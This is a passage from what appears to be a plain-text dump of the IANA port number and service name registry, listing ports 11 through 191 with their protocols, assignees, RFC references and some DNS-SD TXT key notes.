systat 11 udp Active Users [Jon_Postel] [Jon_Postel]
12 tcp Unassigned
12 udp Unassigned
daytime 13 tcp Daytime [Jon_Postel] [Jon_Postel] [RFC867]
daytime 13 udp Daytime [Jon_Postel] [Jon_Postel] [RFC867]
14 tcp Unassigned
14 udp Unassigned
15 tcp Unassigned [was netstat]
15 udp Unassigned
16 tcp Unassigned
16 udp Unassigned
qotd 17 tcp Quote of the Day [Jon_Postel] [Jon_Postel]
qotd 17 udp Quote of the Day [Jon_Postel] [Jon_Postel]
msp 18 tcp Message Send Protocol [Rina_Nethaniel] [Rina_Nethaniel]
(historic)
msp 18 udp Message Send Protocol [Rina_Nethaniel] [Rina_Nethaniel]
(historic)
chargen 19 tcp Character Generator
chargen 19 udp Character Generator
ftp-data 20 tcp File Transfer [Default Data] [Jon_Postel] [Jon_Postel]
ftp-data 20 udp File Transfer [Default Data] [Jon_Postel] [Jon_Postel]
ftp-data 20 sctp FTP [Randall_Stewart] [Randall_Stewart] [RFC4960]
ftp 21 tcp File Transfer Protocol [Jon_Postel] [Jon_Postel] [RFC959] Defined TXT keys: u=<username> p=<password> path=<path>
[Control]
ftp 21 udp File Transfer Protocol [Jon_Postel] [Jon_Postel] [RFC959] Defined TXT keys: u=<username> p=<password> path=<path>
[Control]
ftp 21 sctp FTP [Randall_Stewart] [Randall_Stewart] [RFC4960] Defined TXT keys: u=<username> p=<password> path=<path>
ssh 22 tcp The Secure Shell (SSH) [RFC4251] Defined TXT keys: u=<username> p=<password>
Protocol
ssh 22 udp The Secure Shell (SSH) [RFC4251] Defined TXT keys: u=<username> p=<password>
Protocol
ssh 22 sctp SSH [Randall_Stewart] [Randall_Stewart] [RFC4960] Defined TXT keys: u=<username> p=<password>
telnet 23 tcp Telnet [Jon_Postel] [Jon_Postel] [RFC854] Defined TXT keys: u=<username> p=<password>
telnet 23 udp Telnet [Jon_Postel] [Jon_Postel] [RFC854] Defined TXT keys: u=<username> p=<password>
24 tcp any private mail system [Rick_Adams] [Rick_Adams]
24 udp any private mail system [Rick_Adams] [Rick_Adams]
smtp 25 tcp Simple Mail Transfer [IESG] [IETF_Chair] 2017-06-05 [RFC5321]
smtp 25 udp Simple Mail Transfer [IESG] [IETF_Chair] 2017-06-05 [RFC5321]
26 tcp Unassigned
26 udp Unassigned
nsw-fe 27 tcp NSW User System FE [Robert_Thomas] [Robert_Thomas]
nsw-fe 27 udp NSW User System FE [Robert_Thomas] [Robert_Thomas]
28 tcp Unassigned
28 udp Unassigned
msg-icp 29 tcp MSG ICP [Robert_Thomas] [Robert_Thomas]
msg-icp 29 udp MSG ICP [Robert_Thomas] [Robert_Thomas]
30 tcp Unassigned
30 udp Unassigned
msg-auth 31 tcp MSG Authentication [Robert_Thomas] [Robert_Thomas]
msg-auth 31 udp MSG Authentication [Robert_Thomas] [Robert_Thomas]
32 tcp Unassigned
32 udp Unassigned
dsp 33 tcp Display Support Protocol [Ed_Cain] [Ed_Cain]
dsp 33 udp Display Support Protocol [Ed_Cain] [Ed_Cain]
34 tcp Unassigned
34 udp Unassigned
35 tcp any private printer server [Jon_Postel] [Jon_Postel]
35 udp any private printer server [Jon_Postel] [Jon_Postel]
36 tcp Unassigned
36 udp Unassigned
time 37 tcp Time [Jon_Postel] [Jon_Postel]
time 37 udp Time [Jon_Postel] [Jon_Postel]
rap 38 tcp Route Access Protocol [Robert_Ullmann] [Robert_Ullmann]
rap 38 udp Route Access Protocol [Robert_Ullmann] [Robert_Ullmann]
rlp 39 tcp Resource Location Protocol [Mike_Accetta] [Mike_Accetta]
rlp 39 udp Resource Location Protocol [Mike_Accetta] [Mike_Accetta]
40 tcp Unassigned
40 udp Unassigned
graphics 41 tcp Graphics
graphics 41 udp Graphics
name 42 tcp Host Name Server
name 42 udp Host Name Server
nameserver 42 tcp Host Name Server
nameserver 42 udp Host Name Server
nicname 43 tcp Who Is
nicname 43 udp Who Is
mpm-flags 44 tcp MPM FLAGS Protocol
mpm-flags 44 udp MPM FLAGS Protocol
mpm 45 tcp Message Processing Module
[recv]
mpm 45 udp Message Processing Module
[recv]
mpm-snd 46 tcp MPM [default send] [Jon_Postel] [Jon_Postel]
mpm-snd 46 udp MPM [default send] [Jon_Postel] [Jon_Postel]
47 tcp Reserved 2017-05-18 This entry has been removed on 2017-05-18.
47 udp Reserved 2017-05-18 This entry has been removed on 2017-05-18.
auditd 48 tcp Digital Audit Daemon [Larry_Scott] [Larry_Scott]
auditd 48 udp Digital Audit Daemon [Larry_Scott] [Larry_Scott]
tacacs 49 tcp Login Host Protocol (TACACS) [Pieter_Ditmars] [Pieter_Ditmars]
tacacs 49 udp Login Host Protocol (TACACS) [Pieter_Ditmars] [Pieter_Ditmars]
re-mail-ck 50 tcp Remote Mail Checking [Steve_Dorner] [Steve_Dorner]
Protocol
re-mail-ck 50 udp Remote Mail Checking [Steve_Dorner] [Steve_Dorner]
Protocol
51 Reserved 2013-05-24 This entry is being removed on 2013-05-24.
xns-time 52 tcp XNS Time Protocol [Susie_Armstrong] [Susie_Armstrong]
xns-time 52 udp XNS Time Protocol [Susie_Armstrong] [Susie_Armstrong]
domain 53 tcp Domain Name Server [Paul_Mockapetris] [Paul_Mockapetris]
domain 53 udp Domain Name Server [Paul_Mockapetris] [Paul_Mockapetris]
xns-ch 54 tcp XNS Clearinghouse [Susie_Armstrong] [Susie_Armstrong]
xns-ch 54 udp XNS Clearinghouse [Susie_Armstrong] [Susie_Armstrong]
isi-gl 55 tcp ISI Graphics Language
isi-gl 55 udp ISI Graphics Language
xns-auth 56 tcp XNS Authentication [Susie_Armstrong] [Susie_Armstrong]
xns-auth 56 udp XNS Authentication [Susie_Armstrong] [Susie_Armstrong]
57 tcp any private terminal access [Jon_Postel] [Jon_Postel]
57 udp any private terminal access [Jon_Postel] [Jon_Postel]
xns-mail 58 tcp XNS Mail [Susie_Armstrong] [Susie_Armstrong]
xns-mail 58 udp XNS Mail [Susie_Armstrong] [Susie_Armstrong]
59 tcp any private file service [Jon_Postel] [Jon_Postel]
59 udp any private file service [Jon_Postel] [Jon_Postel]
60 tcp Unassigned
60 udp Unassigned
61 tcp Reserved 2017-05-18 This entry has been removed on 2017-05-18.
61 udp Reserved 2017-05-18 This entry has been removed on 2017-05-18.
acas 62 tcp ACA Services [E_Wald] [E_Wald]
acas 62 udp ACA Services [E_Wald] [E_Wald]
whois++
whoispp 63 tcp IANA assigned this [Rickard_Schoultz] [Rickard_Schoultz]
well-formed service name as
a replacement for "whois++".
This entry is an alias to "whoispp". This entry is now
whois++ 63 tcp whois++ [Rickard_Schoultz] [Rickard_Schoultz] historic, not usable for use with many common service
discovery mechanisms.
whois++
whoispp 63 udp IANA assigned this [Rickard_Schoultz] [Rickard_Schoultz]
well-formed service name as
a replacement for "whois++".
This entry is an alias to "whoispp". This entry is now
whois++ 63 udp whois++ [Rickard_Schoultz] [Rickard_Schoultz] historic, not usable for use with many common service
discovery mechanisms.
covia 64 tcp Communications Integrator [Dan_Smith] [Dan_Smith]
(CI)
covia 64 udp Communications Integrator [Dan_Smith] [Dan_Smith]
(CI)
tacacs-ds 65 tcp TACACS-Database Service [Kathy_Huber] [Kathy_Huber]
tacacs-ds 65 udp TACACS-Database Service [Kathy_Huber] [Kathy_Huber]
Oracle SQL*NET
sql-net 66 tcp IANA assigned this [Jack_Haverty] [Jack_Haverty]
well-formed service name as
a replacement for "sql*net".
This entry is an alias to "sql-net". This entry is now
sql*net 66 tcp Oracle SQL*NET [Jack_Haverty] [Jack_Haverty] historic, not usable for use with many common service
discovery mechanisms.
Oracle SQL*NET
sql-net 66 udp IANA assigned this [Jack_Haverty] [Jack_Haverty]
well-formed service name as
a replacement for "sql*net".
This entry is an alias to "sql-net". This entry is now
sql*net 66 udp Oracle SQL*NET [Jack_Haverty] [Jack_Haverty] historic, not usable for use with many common service
discovery mechanisms.
bootps 67 tcp Bootstrap Protocol Server [Bill_Croft] [Bill_Croft] [RFC951] Defined TXT keys: None
bootps 67 udp Bootstrap Protocol Server
bootpc 68 tcp Bootstrap Protocol Client [Bill_Croft] [Bill_Croft]
bootpc 68 udp Bootstrap Protocol Client [Bill_Croft] [Bill_Croft]
tftp 69 tcp Trivial File Transfer [David_Clark] [David_Clark]
tftp 69 udp Trivial File Transfer [David_Clark] [David_Clark]
gopher 70 tcp Gopher [Mark_McCahill] [Mark_McCahill]
gopher 70 udp Gopher [Mark_McCahill] [Mark_McCahill]
netrjs-1 71 tcp Remote Job Service
netrjs-1 71 udp Remote Job Service
netrjs-2 72 tcp Remote Job Service
netrjs-2 72 udp Remote Job Service
netrjs-3 73 tcp Remote Job Service
netrjs-3 73 udp Remote Job Service
netrjs-4 74 tcp Remote Job Service [Bob_Braden] [Bob_Braden]
netrjs-4 74 udp Remote Job Service [Bob_Braden] [Bob_Braden]
75 tcp any private dial out service [Jon_Postel] [Jon_Postel]
75 udp any private dial out service [Jon_Postel] [Jon_Postel]
deos 76 tcp Distributed External Object [Robert_Ullmann] [Robert_Ullmann]
Store
deos 76 udp Distributed External Object [Robert_Ullmann] [Robert_Ullmann]
Store
77 tcp any private RJE service [Jon_Postel] [Jon_Postel]
77 udp any private RJE service [Jon_Postel] [Jon_Postel]
vettcp 78 tcp vettcp [Christopher_Leong] [Christopher_Leong]
vettcp 78 udp vettcp [Christopher_Leong] [Christopher_Leong]
Unauthorized
use by some
finger 79 tcp Finger [David_Zimmerman] [David_Zimmerman] mail users
(see
[RFC4146]
for details)
Unauthorized
use by some
finger 79 udp Finger [David_Zimmerman] [David_Zimmerman] mail users
(see
[RFC4146]
for details)
http 80 tcp World Wide Web HTTP Defined TXT keys: u=<username> p=<password> path=<path to
document>
http 80 udp World Wide Web HTTP Defined TXT keys: u=<username> p=<password> path=<path to
document>
www 80 tcp World Wide Web HTTP This is a duplicate of the "http" service and should not be
used for discovery purposes.
www 80 udp World Wide Web HTTP This is a duplicate of the "http" service and should not be
used for discovery purposes.
This is a duplicate of the "http" service and should not be
used for discovery purposes. u=<username> p=<password>
path=<path to document> (see txtrecords.html#http) Known
Subtypes: _printer NOTE: The meaning of this service type,
though called just "http", actually denotes something more
precise than just "any data transported using HTTP". The
DNS-SD service type "http" should only be used to advertise
content that: * is served over HTTP, * can be displayed by
"typical" web browser client software, and * is intented
primarily to be viewed by a human user. Of course, the
definition of "typical web browser" is subjective, and may
www-http 80 tcp World Wide Web HTTP [Tim_Berners_Lee] [Tim_Berners_Lee] change over time, but for practical purposes the DNS-SD
service type "http" can be understood as meaning
"human-readable HTML content served over HTTP". In some cases
other widely-supported content types may also be appropriate,
such as plain text over HTTP, or JPEG image over HTTP.
Content types not intented primarily for viewing by a human
user, or not widely-supported in web browsing clients, should
not be advertised as DNS-SD service type "http", even if they
do happen to be transported over HTTP. Such types should be
advertised as their own logical service type with their own
DNS-SD service type, for example, XUL (XML User Interface
Language) transported over HTTP is advertised explicitly as
DNS-SD service type "xul-http".
This is a duplicate of the "http" service and should not be
used for discovery purposes. u=<username> p=<password>
path=<path to document> (see txtrecords.html#http) Known
Subtypes: _printer NOTE: The meaning of this service type,
though called just "http", actually denotes something more
precise than just "any data transported using HTTP". The
DNS-SD service type "http" should only be used to advertise
content that: * is served over HTTP, * can be displayed by
"typical" web browser client software, and * is intented
primarily to be viewed by a human user. Of course, the
definition of "typical web browser" is subjective, and may
www-http 80 udp World Wide Web HTTP [Tim_Berners_Lee] [Tim_Berners_Lee] change over time, but for practical purposes the DNS-SD
service type "http" can be understood as meaning
"human-readable HTML content served over HTTP". In some cases
other widely-supported content types may also be appropriate,
such as plain text over HTTP, or JPEG image over HTTP.
Content types not intented primarily for viewing by a human
user, or not widely-supported in web browsing clients, should
not be advertised as DNS-SD service type "http", even if they
do happen to be transported over HTTP. Such types should be
advertised as their own logical service type with their own
DNS-SD service type, for example, XUL (XML User Interface
Language) transported over HTTP is advertised explicitly as
DNS-SD service type "xul-http".
http 80 sctp HTTP [Randall_Stewart] [Randall_Stewart] [RFC4960] Defined TXT keys: u=<username> p=<password> path=<path to
document>
81 Unassigned 2007-09-06
xfer 82 tcp XFER Utility [Thomas_M_Smith] [Thomas_M_Smith]
xfer 82 udp XFER Utility [Thomas_M_Smith] [Thomas_M_Smith]
mit-ml-dev 83 tcp MIT ML Device [David_Reed] [David_Reed]
mit-ml-dev 83 udp MIT ML Device [David_Reed] [David_Reed]
ctf 84 tcp Common Trace Facility [Hugh_Thomas] [Hugh_Thomas]
ctf 84 udp Common Trace Facility [Hugh_Thomas] [Hugh_Thomas]
mit-ml-dev 85 tcp MIT ML Device [David_Reed] [David_Reed]
mit-ml-dev 85 udp MIT ML Device [David_Reed] [David_Reed]
mfcobol 86 tcp Micro Focus Cobol [Simon_Edwards] [Simon_Edwards]
mfcobol 86 udp Micro Focus Cobol [Simon_Edwards] [Simon_Edwards]
87 tcp any private terminal link [Jon_Postel] [Jon_Postel]
87 udp any private terminal link [Jon_Postel] [Jon_Postel]
kerberos 88 tcp Kerberos [B_Clifford_Neuman] [B_Clifford_Neuman]
kerberos 88 udp Kerberos [B_Clifford_Neuman] [B_Clifford_Neuman]
su-mit-tg 89 tcp SU/MIT Telnet Gateway [Mark_Crispin] [Mark_Crispin]
su-mit-tg 89 udp SU/MIT Telnet Gateway [Mark_Crispin] [Mark_Crispin]
PORT 90 also
dnsix 90 tcp DNSIX Securit Attribute [Charles_Watt] [Charles_Watt] being used
Token Map unofficially
by Pointcast
PORT 90 also
dnsix 90 udp DNSIX Securit Attribute [Charles_Watt] [Charles_Watt] being used
Token Map unofficially
by Pointcast
mit-dov 91 tcp MIT Dover Spooler [Eliot_Moss] [Eliot_Moss]
mit-dov 91 udp MIT Dover Spooler [Eliot_Moss] [Eliot_Moss]
npp 92 tcp Network Printing Protocol [Louis_Mamakos] [Louis_Mamakos]
npp 92 udp Network Printing Protocol [Louis_Mamakos] [Louis_Mamakos]
dcp 93 tcp Device Control Protocol [Daniel_Tappan] [Daniel_Tappan]
dcp 93 udp Device Control Protocol [Daniel_Tappan] [Daniel_Tappan]
objcall 94 tcp Tivoli Object Dispatcher [Tom_Bereiter] [Tom_Bereiter]
objcall 94 udp Tivoli Object Dispatcher [Tom_Bereiter] [Tom_Bereiter]
supdup 95 tcp SUPDUP [Mark_Crispin] [Mark_Crispin]
supdup 95 udp SUPDUP [Mark_Crispin] [Mark_Crispin]
dixie 96 tcp DIXIE Protocol Specification [Tim_Howes] [Tim_Howes]
dixie 96 udp DIXIE Protocol Specification [Tim_Howes] [Tim_Howes]
swift-rvf 97 tcp Swift Remote Virtural File [Maurice_R_Turcotte] [Maurice_R_Turcotte]
Protocol
swift-rvf 97 udp Swift Remote Virtural File [Maurice_R_Turcotte] [Maurice_R_Turcotte]
Protocol
tacnews 98 tcp TAC News [Jon_Postel] [Jon_Postel]
tacnews 98 udp TAC News [Jon_Postel] [Jon_Postel]
metagram 99 tcp Metagram Relay [Geoff_Goodfellow] [Geoff_Goodfellow]
metagram 99 udp Metagram Relay [Geoff_Goodfellow] [Geoff_Goodfellow]
Known
100 Unassigned 2012-03-21 Unauthorized
Use on 100
hostname 101 tcp NIC Host Name Server [Jon_Postel] [Jon_Postel]
hostname 101 udp NIC Host Name Server [Jon_Postel] [Jon_Postel]
iso-tsap 102 tcp ISO-TSAP Class 0 [Marshall_Rose] [Marshall_Rose]
iso-tsap 102 udp ISO-TSAP Class 0 [Marshall_Rose] [Marshall_Rose]
gppitnp 103 tcp Genesis Point-to-Point Trans
Net
gppitnp 103 udp Genesis Point-to-Point Trans
Net
acr-nema 104 tcp ACR-NEMA Digital Imag. & [Patrick_McNamee] [Patrick_McNamee]
Comm. 300
acr-nema 104 udp ACR-NEMA Digital Imag. & [Patrick_McNamee] [Patrick_McNamee]
Comm. 300
cso 105 tcp CCSO name server protocol [Martin_Hamilton] [Martin_Hamilton]
cso 105 udp CCSO name server protocol [Martin_Hamilton] [Martin_Hamilton]
csnet-ns 105 tcp Mailbox Name Nameserver [Marvin_Solomon] [Marvin_Solomon]
csnet-ns 105 udp Mailbox Name Nameserver [Marvin_Solomon] [Marvin_Solomon]
Known
3com-tsmux 106 tcp 3COM-TSMUX [Jeremy_Siegel] [Jeremy_Siegel] Unauthorized
Use on 106
Known
3com-tsmux 106 udp 3COM-TSMUX [Jeremy_Siegel] [Jeremy_Siegel] Unauthorized
Use on 106
rtelnet 107 tcp Remote Telnet Service [Jon_Postel] [Jon_Postel]
rtelnet 107 udp Remote Telnet Service [Jon_Postel] [Jon_Postel]
snagas 108 tcp SNA Gateway Access Server [Kevin_Murphy] [Kevin_Murphy]
snagas 108 udp SNA Gateway Access Server [Kevin_Murphy] [Kevin_Murphy]
pop2 109 tcp Post Office Protocol - [Joyce_K_Reynolds] [Joyce_K_Reynolds]
Version 2
pop2 109 udp Post Office Protocol - [Joyce_K_Reynolds] [Joyce_K_Reynolds]
Version 2
pop3 110 tcp Post Office Protocol - [Marshall_Rose] [Marshall_Rose]
Version 3
pop3 110 udp Post Office Protocol - [Marshall_Rose] [Marshall_Rose]
Version 3
sunrpc 111 tcp SUN Remote Procedure Call [Chuck_McManis] [Chuck_McManis]
sunrpc 111 udp SUN Remote Procedure Call [Chuck_McManis] [Chuck_McManis]
mcidas 112 tcp McIDAS Data Transmission [Glenn_Davis] [Glenn_Davis]
Protocol
mcidas 112 udp McIDAS Data Transmission [Glenn_Davis] [Glenn_Davis]
Protocol
ident 113 tcp
auth 113 tcp Authentication Service [Mike_St_Johns] [Mike_St_Johns]
auth 113 udp Authentication Service [Mike_St_Johns] [Mike_St_Johns]
114 unassigned Deprecated June 2004
sftp 115 tcp Simple File Transfer [Mark_Lottor] [Mark_Lottor]
Protocol
sftp 115 udp Simple File Transfer [Mark_Lottor] [Mark_Lottor]
Protocol
ansanotify 116 tcp ANSA REX Notify [Nicola_J_Howarth] [Nicola_J_Howarth]
ansanotify 116 udp ANSA REX Notify [Nicola_J_Howarth] [Nicola_J_Howarth]
uucp-path 117 tcp UUCP Path Service
uucp-path 117 udp UUCP Path Service
sqlserv 118 tcp SQL Services [Larry_Barnes] [Larry_Barnes]
sqlserv 118 udp SQL Services [Larry_Barnes] [Larry_Barnes]
nntp 119 tcp Network News Transfer [IESG] [IETF_Chair] 2018-07-06 [RFC3977]
Protocol
nntp 119 udp Network News Transfer [IESG] [IETF_Chair] 2018-07-06 [RFC3977]
Protocol
cfdptkt 120 tcp CFDPTKT [John_Ioannidis] [John_Ioannidis]
cfdptkt 120 udp CFDPTKT [John_Ioannidis] [John_Ioannidis]
erpc 121 tcp Encore Expedited Remote [Jack_ONeil] [Jack_ONeil]
Pro.Call
erpc 121 udp Encore Expedited Remote [Jack_ONeil] [Jack_ONeil]
Pro.Call
smakynet 122 tcp SMAKYNET [Pierre_Arnaud] [Pierre_Arnaud]
smakynet 122 udp SMAKYNET [Pierre_Arnaud] [Pierre_Arnaud]
ntp 123 tcp Network Time Protocol [Dave_Mills] [Dave_Mills] [RFC5905]
ntp 123 udp Network Time Protocol [Dave_Mills] [Dave_Mills] [RFC5905]
ansatrader 124 tcp ANSA REX Trader [Nicola_J_Howarth] [Nicola_J_Howarth]
ansatrader 124 udp ANSA REX Trader [Nicola_J_Howarth] [Nicola_J_Howarth]
locus-map 125 tcp Locus PC-Interface Net Map [Eric_Peterson] [Eric_Peterson]
Ser
locus-map 125 udp Locus PC-Interface Net Map [Eric_Peterson] [Eric_Peterson]
Ser
Port 126 Previously assigned to application below unitary
nxedit 126 tcp NXEdit [Don_Payette] [Don_Payette] 126/tcp Unisys Unitary Login unitary 126/udp Unisys Unitary
Login <feil&kronos.nisd.cam.unisys.com> Port 126 Previously
assigned to application above
Port 126 Previously assigned to application below unitary
nxedit 126 udp NXEdit [Don_Payette] [Don_Payette] 126/tcp Unisys Unitary Login unitary 126/udp Unisys Unitary
Login <feil&kronos.nisd.cam.unisys.com> Port 126 Previously
assigned to application above
locus-con 127 tcp Locus PC-Interface Conn [Eric_Peterson] [Eric_Peterson]
Server
locus-con 127 udp Locus PC-Interface Conn [Eric_Peterson] [Eric_Peterson]
Server
gss-xlicen 128 tcp GSS X License Verification [John_Light] [John_Light]
gss-xlicen 128 udp GSS X License Verification [John_Light] [John_Light]
pwdgen 129 tcp Password Generator Protocol [Frank_J_Wacho] [Frank_J_Wacho]
pwdgen 129 udp Password Generator Protocol [Frank_J_Wacho] [Frank_J_Wacho]
cisco-fna 130 tcp cisco FNATIVE
cisco-fna 130 udp cisco FNATIVE
cisco-tna 131 tcp cisco TNATIVE
cisco-tna 131 udp cisco TNATIVE
cisco-sys 132 tcp cisco SYSMAINT
cisco-sys 132 udp cisco SYSMAINT
statsrv 133 tcp Statistics Service [Dave_Mills_2] [Dave_Mills_2]
statsrv 133 udp Statistics Service [Dave_Mills_2] [Dave_Mills_2]
ingres-net 134 tcp INGRES-NET Service [Mike_Berrow] [Mike_Berrow]
ingres-net 134 udp INGRES-NET Service [Mike_Berrow] [Mike_Berrow]
epmap 135 tcp DCE endpoint resolution [Joe_Pato] [Joe_Pato]
epmap 135 udp DCE endpoint resolution [Joe_Pato] [Joe_Pato]
profile 136 tcp PROFILE Naming System [Larry_Peterson] [Larry_Peterson]
profile 136 udp PROFILE Naming System [Larry_Peterson] [Larry_Peterson]
netbios-ns 137 tcp NETBIOS Name Service
netbios-ns 137 udp NETBIOS Name Service
netbios-dgm 138 tcp NETBIOS Datagram Service
netbios-dgm 138 udp NETBIOS Datagram Service
netbios-ssn 139 tcp NETBIOS Session Service [Jon_Postel] [Jon_Postel]
netbios-ssn 139 udp NETBIOS Session Service [Jon_Postel] [Jon_Postel]
emfis-data 140 tcp EMFIS Data Service
emfis-data 140 udp EMFIS Data Service
emfis-cntl 141 tcp EMFIS Control Service [Gerd_Beling] [Gerd_Beling]
emfis-cntl 141 udp EMFIS Control Service [Gerd_Beling] [Gerd_Beling]
bl-idm 142 tcp Britton-Lee IDM [Susie_Snitzer] [Susie_Snitzer]
bl-idm 142 udp Britton-Lee IDM [Susie_Snitzer] [Susie_Snitzer]
imap 143 tcp Internet Message Access [IESG] [IETF_Chair] 2017-06-05 [RFC3501]
Protocol
imap 143 udp Internet Message Access [IESG] [IETF_Chair] 2017-06-05 [RFC3501]
Protocol
uma 144 tcp Universal Management [Jay_Whitney] [Jay_Whitney]
Architecture
uma 144 udp Universal Management [Jay_Whitney] [Jay_Whitney]
Architecture
uaac 145 tcp UAAC Protocol [David_A_Gomberg] [David_A_Gomberg]
uaac 145 udp UAAC Protocol [David_A_Gomberg] [David_A_Gomberg]
iso-tp0 146 tcp ISO-IP0
iso-tp0 146 udp ISO-IP0
iso-ip 147 tcp ISO-IP [Marshall_Rose] [Marshall_Rose]
iso-ip 147 udp ISO-IP [Marshall_Rose] [Marshall_Rose]
jargon 148 tcp Jargon [Bill_Weinman] [Bill_Weinman]
jargon 148 udp Jargon [Bill_Weinman] [Bill_Weinman]
aed-512 149 tcp AED 512 Emulation Service [Albert_G_Broscius] [Albert_G_Broscius]
aed-512 149 udp AED 512 Emulation Service [Albert_G_Broscius] [Albert_G_Broscius]
sql-net 150 tcp SQL-NET [Martin_Picard] [Martin_Picard]
sql-net 150 udp SQL-NET [Martin_Picard] [Martin_Picard]
hems 151 tcp HEMS
hems 151 udp HEMS
bftp 152 tcp Background File Transfer [Annette_DeSchon] [Annette_DeSchon]
Program
bftp 152 udp Background File Transfer [Annette_DeSchon] [Annette_DeSchon]
Program
sgmp 153 tcp SGMP [Marty_Schoffstahl] [Marty_Schoffstahl]
sgmp 153 udp SGMP [Marty_Schoffstahl] [Marty_Schoffstahl]
netsc-prod 154 tcp NETSC
netsc-prod 154 udp NETSC
netsc-dev 155 tcp NETSC [Sergio_Heker] [Sergio_Heker]
netsc-dev 155 udp NETSC [Sergio_Heker] [Sergio_Heker]
sqlsrv 156 tcp SQL Service [Craig_Rogers] [Craig_Rogers]
sqlsrv 156 udp SQL Service [Craig_Rogers] [Craig_Rogers]
knet-cmp 157 tcp KNET/VM Command/Message [Gary_S_Malkin] [Gary_S_Malkin]
Protocol
knet-cmp 157 udp KNET/VM Command/Message [Gary_S_Malkin] [Gary_S_Malkin]
Protocol
pcmail-srv 158 tcp PCMail Server [Mark_L_Lambert] [Mark_L_Lambert]
pcmail-srv 158 udp PCMail Server [Mark_L_Lambert] [Mark_L_Lambert]
nss-routing 159 tcp NSS-Routing [Yakov_Rekhter] [Yakov_Rekhter]
nss-routing 159 udp NSS-Routing [Yakov_Rekhter] [Yakov_Rekhter]
sgmp-traps 160 tcp SGMP-TRAPS [Marty_Schoffstahl] [Marty_Schoffstahl]
sgmp-traps 160 udp SGMP-TRAPS [Marty_Schoffstahl] [Marty_Schoffstahl]
snmp 161 tcp SNMP
snmp 161 udp SNMP
snmptrap 162 tcp SNMPTRAP [Marshall_Rose] [Marshall_Rose]
snmptrap 162 udp SNMPTRAP [Marshall_Rose] [Marshall_Rose]
cmip-man 163 tcp CMIP/TCP Manager
cmip-man 163 udp CMIP/TCP Manager
cmip-agent 164 tcp CMIP/TCP Agent [Amatzia_Ben_Artzi] [Amatzia_Ben_Artzi]
cmip-agent 164 udp CMIP/TCP Agent [Amatzia_Ben_Artzi] [Amatzia_Ben_Artzi]
xns-courier 165 tcp Xerox [Susie_Armstrong_2] [Susie_Armstrong_2]
xns-courier 165 udp Xerox [Susie_Armstrong_2] [Susie_Armstrong_2]
s-net 166 tcp Sirius Systems [Brian_Lloyd] [Brian_Lloyd]
s-net 166 udp Sirius Systems [Brian_Lloyd] [Brian_Lloyd]
namp 167 tcp NAMP [Marty_Schoffstahl] [Marty_Schoffstahl]
namp 167 udp NAMP [Marty_Schoffstahl] [Marty_Schoffstahl]
rsvd 168 tcp RSVD [Alan_Sandell] [Alan_Sandell] 2008-05-01
rsvd 168 udp RSVD [Alan_Sandell] [Alan_Sandell] 2008-05-01
send 169 tcp SEND [William_Oldwin] [William_Oldwin] 2013-06-17
send 169 udp SEND [William_Oldwin] [William_Oldwin] 2013-06-17
print-srv 170 tcp Network PostScript [Brian_Reid] [Brian_Reid]
print-srv 170 udp Network PostScript [Brian_Reid] [Brian_Reid]
multiplex 171 tcp Network Innovations
Multiplex
multiplex 171 udp Network Innovations
Multiplex
Network Innovations CL/1
cl-1 172 tcp IANA assigned this [Kevin_DeVault] [Kevin_DeVault]
well-formed service name as
a replacement for "cl/1".
This entry is an alias to "cl-1". This entry is now historic,
cl/1 172 tcp Network Innovations CL/1 [Kevin_DeVault] [Kevin_DeVault] not usable for use with many common service discovery
mechanisms.
Network Innovations CL/1
cl-1 172 udp IANA assigned this [Kevin_DeVault] [Kevin_DeVault]
well-formed service name as
a replacement for "cl/1".
This entry is an alias to "cl-1". This entry is now historic,
cl/1 172 udp Network Innovations CL/1 [Kevin_DeVault] [Kevin_DeVault] not usable for use with many common service discovery
mechanisms.
xyplex-mux 173 tcp Xyplex [Bob_Stewart] [Bob_Stewart]
xyplex-mux 173 udp Xyplex [Bob_Stewart] [Bob_Stewart]
mailq 174 tcp MAILQ [Rayan_Zachariassen] [Rayan_Zachariassen]
mailq 174 udp MAILQ [Rayan_Zachariassen] [Rayan_Zachariassen]
vmnet 175 tcp VMNET [Christopher_Tengi] [Christopher_Tengi]
vmnet 175 udp VMNET [Christopher_Tengi] [Christopher_Tengi]
genrad-mux 176 tcp GENRAD-MUX [Ron_Thornton] [Ron_Thornton]
genrad-mux 176 udp GENRAD-MUX [Ron_Thornton] [Ron_Thornton]
xdmcp 177 tcp X Display Manager Control [Robert_W_Scheifler] [Robert_W_Scheifler]
Protocol
xdmcp 177 udp X Display Manager Control [Robert_W_Scheifler] [Robert_W_Scheifler]
Protocol
nextstep 178 tcp NextStep Window Server [Leo_Hourvitz] [Leo_Hourvitz]
nextstep 178 udp NextStep Window Server [Leo_Hourvitz] [Leo_Hourvitz]
bgp 179 tcp Border Gateway Protocol [Kirk_Lougheed] [Kirk_Lougheed]
bgp 179 udp Border Gateway Protocol [Kirk_Lougheed] [Kirk_Lougheed]
bgp 179 sctp BGP [Randall_Stewart] [Randall_Stewart] [RFC4960]
ris 180 tcp Intergraph [Dave_Buehmann] [Dave_Buehmann]
ris 180 udp Intergraph [Dave_Buehmann] [Dave_Buehmann]
unify 181 tcp Unify [Daegis_Inc] [Chris_Anderson] 2012-07-31
unify 181 udp Unify [Daegis_Inc] [Chris_Anderson] 2012-07-31
audit 182 tcp Unisys Audit SITP [Gil_Greenbaum] [Gil_Greenbaum]
audit 182 udp Unisys Audit SITP [Gil_Greenbaum] [Gil_Greenbaum]
ocbinder 183 tcp OCBinder
ocbinder 183 udp OCBinder
ocserver 184 tcp OCServer [Jerrilynn_Okamura] [Jerrilynn_Okamura]
ocserver 184 udp OCServer [Jerrilynn_Okamura] [Jerrilynn_Okamura]
remote-kis 185 tcp Remote-KIS
remote-kis 185 udp Remote-KIS
kis 186 tcp KIS Protocol [Ralph_Droms] [Ralph_Droms]
kis 186 udp KIS Protocol [Ralph_Droms] [Ralph_Droms]
aci 187 tcp Application Communication [Rick_Carlos] [Rick_Carlos]
Interface
aci 187 udp Application Communication [Rick_Carlos] [Rick_Carlos]
Interface
mumps 188 tcp Plus Five's MUMPS [Hokey_Stenn] [Hokey_Stenn]
mumps 188 udp Plus Five's MUMPS [Hokey_Stenn] [Hokey_Stenn]
qft 189 tcp Queued File Transport [Wayne_Schroeder] [Wayne_Schroeder]
qft 189 udp Queued File Transport [Wayne_Schroeder] [Wayne_Schroeder]
gacp 190 tcp Gateway Access Control [C_Philip_Wood] [C_Philip_Wood]
Protocol
gacp 190 udp Gateway Access Control [C_Philip_Wood] [C_Philip_Wood]
Protocol
prospero 191 tcp Prospero Directory Service [B_Clifford_Neuman] [B_Clifford_Neuman]
